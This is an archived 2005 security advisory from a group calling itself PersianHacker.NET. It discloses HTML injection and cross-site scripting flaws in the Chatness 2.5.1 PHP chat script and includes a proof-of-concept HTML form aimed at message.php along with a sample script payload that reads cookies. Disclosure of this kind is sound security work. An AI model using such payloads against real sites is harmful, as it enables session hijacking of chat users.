[PersianHacker.NET 200503-12]Chatness 2.5.1 and prior XSS Vulnerabilities

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 




[PersianHacker.NET 200503-12]Chatness 2.5.1 and prior Html Injection Vulnerability
Date: 2005 March
Bug Number: 12

Chatness
Chatness is a PHP based chat script.It has enough flexibility to fit any users needs, and enough modification options to customly fit into any site
http://www.chatness.us

Discussion:
--------------------
Html Injection & Cross-Site Scripting
The script does not properly validate user-supplied input in the 'user' field. A remote user can create specially crafted HTML that, when loaded by the target user, will cause arbitrary scripting code to be executed by the target user's browser.
Also 'message' field in "message.php"

Exploit:
--------------------
<html>

<head>
<title>Chatness 2.5.1 Html Injection Exploit</title>
</head>

<body>

<h1>Chatness 2.5.1 Html Injection Exploit</h1>


<form method="POST" action="http://www.example.com/message.php";>
  <b>XSS in message.php:</b><p>
  Username:
  <input type="text" name="message" size="48" value="XSS Injection Code"></p>
  <p>
<br>
  example: &lt;script&gt;document.write(document.cookie)&lt;/script&gt;</p>
  <p>&nbsp;<input type='submit' name='login' value='RUN!' class='button'></p>
</form>
<p>&nbsp;</p>
<p align="center"><a href="http://www.PersianHacker.NET";>www.PersianHacker.NET</a></p>

</body>

</html>


Solution:
--------------------
Edit the source code to ensure that input is properly sanitised.


Credit:
--------------------
Discovered by PersianHacker.NET Security Team
by 3nitro (3nitro[@]persianhacker[.]net)
http://www.PersianHacker.NET

Special Thanks: Pi3cH


Help
--------------------
visit: http://www.PersianHacker.NET
or mail me @: 3nitro[@]persianhacker[.]net


Note
--------------------
script authors contacted for this vulnerablility.

[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux